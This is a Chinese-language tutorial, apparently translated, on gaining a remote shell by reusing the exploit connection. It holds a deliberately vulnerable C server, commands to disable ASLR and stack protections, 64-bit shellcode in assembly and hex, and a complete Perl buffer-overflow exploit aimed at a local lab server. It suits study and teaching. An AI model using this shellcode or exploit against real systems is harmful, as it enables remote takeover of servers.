导语:在本文中,我将介绍一种在一个易受攻击的远程机器上获得shell访问的简单技术。这不是我自己创造的技术,但我发现它很有趣。

在本文中,我将介绍一种在一个易受攻击的远程机器上获得shell访问的简单技术(这仅仅是我个人的观点)。这不是我自己创造的技术,但我发现它很有趣。所以,本文的重点是这种技术本身,而不是利用漏洞的方式。

设置你的环境

所以,为了专注于制作远程shellcode,而不是如何规避ASLR,不可执行堆栈等(这将需要大量的篇幅进行介绍),我们将在测试中禁用大多数类似的功能。一旦你准备好了shellcode,便可以重新启用ASLR保护并尝试再次进行程序的漏洞利用。

首先,我们需要禁用ASLR,使用如下命令:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

上述命令的操作只是临时性的,ASLR保护将在系统下次重启之后再次打开,如果不想重启就启用ASLR保护,你可以使用如下命令:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

为了禁用其余的安全功能,我们将使用以下标志来编译我们这台易受攻击的服务器程序:

-fno-stack-protector -z execstack

这些标志会禁用堆栈保护,并向堆栈提供执行权限。所以我们可以在环境中非常容易的进行漏洞利用。

一个存在漏洞的服务

现在让我们编写一个带有缓冲区溢出漏洞的小型echo服务器,我们可以远程利用这个漏洞。整个程序非常简单。你能在代码中发现缓冲区溢出漏洞吗?你当然可以咯。

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int
process_request (int s1, char *reply)
{
  char result[256];
  strcpy (result, reply);
  write (s1, result, strlen(result));
  printf ("Result: %p\n", &result);
  return 0;
}
int
main (int argc, char *argv[])
{
  struct sockaddr_in   server, client;
  socklen_t            len = sizeof (struct sockaddr_in);
  int                  s,s1, ops = 1;
  char                 reply[1024];
  server.sin_addr.s_addr = INADDR_ANY;
  server.sin_family = AF_INET;
  server.sin_port = htons(9000);
  s = socket (PF_INET, SOCK_STREAM, 0);
  if ((setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops))) < 0)
    perror ("pb_server (reuseaddr):");
  bind (s, (struct sockaddr *) &server, sizeof (server));
  listen (s, 10);
  while (1)
    {
      s1 = accept (s, (struct sockaddr *)&client, &len);
      printf ("Connection from %s\n", inet_ntoa (client.sin_addr));
      memset (reply, 0, 1024);
      read (s1, reply, 1024);
      process_request (s1, reply);
      close (s1);
    }
  return 0;
}

上面的代码非常标准。现在让我们来编译它,完成我们的工作——使它成为存在远程溢出漏洞且最容易进行漏洞利用的服务器:

gcc -g -fno-stack-protector -z execstack -o target target.c

让我们验证一下它是否存在漏洞。先在一个终端中启动它然后在另一终端运行如下命令:

$ perl -e 'print "A"x1024;' | nc localhost 9000

在运行了服务器程序的终端窗口中可以看到如下信息:

$  ./target
Connection from 127.0.0.1
Result: 0x7fffffffdbf0
Segmentation fault (core dumped)

注意,我在代码中已经添加了打印一个局部变量的地址的语句,所以你可以验证ASLR是否被成功的禁用了。每次执行相同的二进制程序后,你应该总是得到相同的打印结果(变量地址),如果你修改了程序,打印结果可能会改变。

你现在就可以使用一些可用的shellcode来攻击这个程序并获得一个本地shell来进行练习。 即使做起来非常容易,你也应该至少进行一次练习:)。我不会在这里继续讨论这个。 网上有几百几千个教程教你如何在这种情况下利用缓冲区溢出漏洞。 只需要google一下就行了。

远程Shell

现在是时候得到一个远程的shell了。 这里的关键是“远程Shell”。 这意味着在易受攻击的机器和攻击者之间存在一个网络。 或者换句话说,我们必须通过一些socket发送/接收数据。 基于这一点,有两种方式可以获得远程shell:

用shellcode创建一个socket服务器并允许从外部进行连接,然后从本地shell中进行数据收发...这是一个直连的远程shell。
shellcode连接到一个指定的主机,服务器监听端口等待受害者的连接...这是一个反向的远程shell。

这两个定义会让你们中的许多人想起那些RHOST / RPORT的变量名称,无论你们怎么称呼….是的,这些参数是你需要告诉你的payload连接到的地址和端口是什么。对于反向的shell,你必须将此信息存储在 payload中,以便它能连接回来。对于直连的shell你通常只需要定义端口,服务器将会监听指定的端口并等待连接。

但是,还有第三个选项,至少对于Unix机器来讲是这样。

重用连接

当进行远程漏洞利用时,为了利用此漏洞,你已经连接到服务器了…所以,为什么不重用已经设置的连接? 这很清楚明了,因为它不会显示任何与受害者相关的可疑的信息,像一个未知的服务开放端口或从服务器向外传出网络连接。

实现这一点的方法非常巧妙。它是基于这样的一个事实,即系统按顺序分配文件描述。 知道了这一点,我们就可以在我们的连接之后立即复制一个现有的文件描述符,除非服务器负载很重,我们应该能得到一个文件描述符,它等同于与我们的连接+1关联的套接字的文件描述符。(刚刚分配的文件描述符就是我们的连接)。

一旦我们知道了当前正在进行连接的文件描述符,我们只需要将它复制到文件描述符0,1和2(stdin,stdout和stderr),然后再产生一个shell。 从此时开始,该shell的所有输入/输出都将被重定向到套接字中。

还没有弄清楚吗? 那就看看这里。也许现在是一个学习的好时机。

就像下面的C代码:

int sck = dup (0) - 1; // Duplicate stdin
dup2 (sck, 0);
dup2 (sck, 1);
dup2  (sck, 2);
execv ("/bin/sh", NULL);

看到没有?!…没有套接字代码哦! 如果我们把它变成一个shellcode,并且我们设法利用远程服务器来运行该代码,此时,我们将通过我们进行漏洞利用的这个连接的来获得对远程机器的shell访问。

许多人可能已经注意到这种技术,但它有一些缺点。 我们已经提到在服务器上的重负载(许多连接被同时建立),我们的dup技巧可能会失败,但其他人可能会获得shell访问。 此外,一个合适的socket服务器会在成为守护程序(man守护程序)之前会关闭所有的文件描述符,因此我们可能需要尝试使用其他的值作为dup的参数。

这个技术是我在前一段时间与@_py的讨论中注意到的。 我们当时检查的原始代码可以在这里找到:

http://shell-storm.org/shellcode/files/shellcode-881.php

但是这是32位代码,所以我做了一个64位版本以及一个Perl脚本来进行漏洞利用。

64位的Shellcode

我并不为此感到骄傲(我只是意识到我ASM开始生疏了),但是下面的代码可以正常工作,原始的32位版本只有3个字节长。

代码如下:

section .text
global _start
_start:
   ;; s = Dup (0) - 1
   xor rax, rax
   push rax
   push rax
   push rax
   pop rsi
   pop rdx
   push rax
   pop rdi
   mov al, 32
   syscall       ; DUP (rax=32) rdi = 0 (dup (0))
   dec rax
   push rax
   pop rdi    ; mov rdi, rax  ; dec rdi
   ;; dup2 (s, 0); dup2(s,1); dup2(s,2)
loop: mov al, 33
   syscall       ; DUP2 (rax=33) rdi=oldfd (socket) rsi=newfd
   inc rsi
   mov rax,rsi
   cmp al, 2     ; Loop 0,1,2 (stdin, stdout, stderr)
   jne loop

我为不太明显的部分添加了一些注释,你会看到很多PUSH/POP。 原因是一对PUSH / POP是2字节,但MOV R1,R2是3字节。这使得代码非常丑,但是能短一点…可实际上并没有短了很多,所以我不认为这是一个好主意。你还有很多随意改进它的方式,你可以在评论中发布你的版本。记得毫不犹豫地分享对代码的任何疑问哦。

生成Shellcode

现在,我们必须以适合发送到远程服务器的格式来获取shellcode。为此,我们首先必须编译代码,然后从编译的文件中提取机器码。编译(因为有汇编代码)非常简单:

nasm -f elf64 -o rsh.o rsh.asm

有很多不同的方法来从对象文件中获取二进制数据。 我会使用比较诡谲的技巧来产生一个特定格式的字符串,这样我可以很容易地添加到Perl或C程序中。

for i in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

上面的两个命令将产生以下shellcode:

\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05

到利用漏洞的时间了

漏洞利用

现在我们有一个存在漏洞的远程系统。你已经弄清楚如何在我们的低级别安全环境中进行缓冲区溢出漏洞的利用,我们还有一个shellcode需要在远程系统上运行。现在我们需要一个漏洞利用程序。该程序将把所有这些连在一起,并将我们正在寻找的远程系统的shell返回给我们。

看起来如下:

#!/usr/bin/perl
use IO::Select;
use IO::Socket::INET;
$|=1;
print "Remote Exploit Example";
print "by 0x00pf for 0x00sec :)\n\n";
# You may need to calculate these magic numbers for your system
$addr = "\x10\xdd\xff\xff\xff\x7f\x00\x00";
$off = 264;
# Generate the payload
$shellcode = "\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05";
$nops = $off - length $shellcode;
$payload = "\x90" x $nops . $shellcode . $addr;
$plen = length $payload;
$slen = length $shellcode;
print "SLED $nops Shellcode: $slen Payload size: $plen\n";
# Connect
my $socket = new IO::Socket::INET (
    PeerHost => '127.0.0.1',
    PeerPort => '9000',
    Proto => 'tcp',
    );
# Set up select for asynchronous read from the server
$sel = IO::Select->new( $socket );
$sel->add(\*STDIN);
# Exploit!
$socket->send ($payload);
$socket->recv ($trash,1024);
$timeout = .1;
$flag = 1; # Just to show a prompt
# Interact!
while (1) {
    if (@ready = $sel->can_read ($timeout))  {
   foreach $fh (@ready) {
       $flag =1;
       if($fh == $socket) {
      $socket->recv ($resp, 1024);
      print $resp;
       }
       else { # It is stdin
      $line = <STDIN>;
      $socket->send ($line);
       }
   }
    }
    else { # Show the prompt whenever everything's been read
   print "0x00pf]>  " if ($flag);
   $flag = 0;
    }
}

一开始的漏洞程序几乎是非常标准的东西。根据你在gdb的帮助下找出的魔法数字(变量地址)生成payload(请注意,这些数字可能在你的系统中有所不同,并且漏洞利用程序可能不是很有效果)。

但是,这之后,我们还需要为我们的特殊的远程shell做点别的事情。可以使用直连和反向shell,一旦漏洞被成功利用,我们通常将使用另一个程序或模块连接到远程机器或等待远程机器连接我们的服务器。它可以是netcat或你喜欢的其他渗透平台或你自己编写的工具,…

但是,在本文所讲的这种情况下,我们使用的是已建立的且用来发送payload的连接来进行shell访问。所以我添加了一些代码,从stdin读取命令,并将它们发送到远程服务器,也可以从远程shell中读取数据。这是漏洞利用的最后一部分。代码都是标准的socket代码。所以,在代码里真的没有什么特别之处。

现在,你可以尝试进行漏洞利用获取远程shell!

结论

在本文中,我们讨论了一种可以不会被轻易发现且非常完美的获取远程易受攻击的服务器shell的方法,这个方法不需要处理系统提供的套接字API。这使得shellcode 的开发更加简单也更简短。

你可以自由地改进shellcode,并在文章下面的评论区域中发布。此外,如果有人想尝试在系统安全功能都被激活时的漏洞利用,可以邀请我。

这个工作涉及以下几点:

重新激活ASLR(你已经知道怎么做了)
使堆栈为不可执行状态(移除 -zexecstack标志或使用execstack工具)
重新激活堆栈保护(移除 -fno-stackprotector标志)
Go Pro(使用 -DFORTIFY_SOURCE=2进行编译或使用 -O2)
Go master(使用 -O2 -fPIC -pie -fstack-protector-all -Wl,-z,relro,-z进行编译)

源链接

Hacking more

...